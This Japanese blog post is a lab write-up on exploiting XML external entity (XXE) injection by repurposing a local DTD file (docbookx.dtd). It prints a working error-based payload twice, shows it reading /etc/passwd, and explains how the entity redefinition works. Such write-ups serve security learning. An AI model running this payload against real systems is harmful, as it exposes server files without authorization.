Shikata Ga Nai

Private? There is no such things.

Exploiting XXE to retrieve data by repurposing a local DTDをやってみた

Hello there, ('ω')ノ 

 

XXEを利用して、ローカルDTDを転用してデータを取得を。

 

ラボを解決するには、/etc/passwdの内容を含むエラーメッセージをトリガーして。

サーバ上の既存のDTDファイルを参照して。

そこからエンティティを再定義する必要があるらしく。

 

f:id:ThisIsOne:20210305222103p:plain

 

下記のペイロードを挿入してSendして。

 

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

 

f:id:ThisIsOne:20210305222217p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210305222322p:plain

 

今回のペイロードは。

ファイルサーバにあるDTDの内容を。

local_dtdというパラメータエンティティに定義して。

/usr/share/yelp/dtd/docbookx.dtdには、ISOamsoエンティティを含むDTDがあって。

local_dtdエンティティを使用して。

カスタムエンティティの再定義された値を含む外部DTDが解釈されるようにして。

 

外部DTDファイルですでに定義されているカスタムエンティティと呼ばれる。

XMLパラメータエンティティを再定義して。

エンティティは、/etc/passwdの内容を含むエラーメッセージをトリガーするために。

エラーベースのXXEエクスプロイトを含むものとして再定義されて。

これによって、目的のエラーメッセージが表示されて。

 

コード:

 #x25 (%)

 #x26 (&) 

 #x27 (')

 

file ⇦ /etc/passwdの内容

error ⇦ /nonexistent/etc/passwdの内容

 

<!DOCTYPE message [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 <!ENTITY % ISOamso '
  <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
  <!ENTITY &#x25; eval

   "<!ENTITY &#x26;#x25; error SYSTEM

                &#x27;file:///nonexistent/&#x25;file;&#x27;>">
  &#x25;eval;
  &#x25;error;
 '>
 %local_dtd;
]>

 

下記のペイロードは、参考まで。

 https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md

 

f:id:ThisIsOne:20210305221723p:plain

 

Best regards, (^^ゞ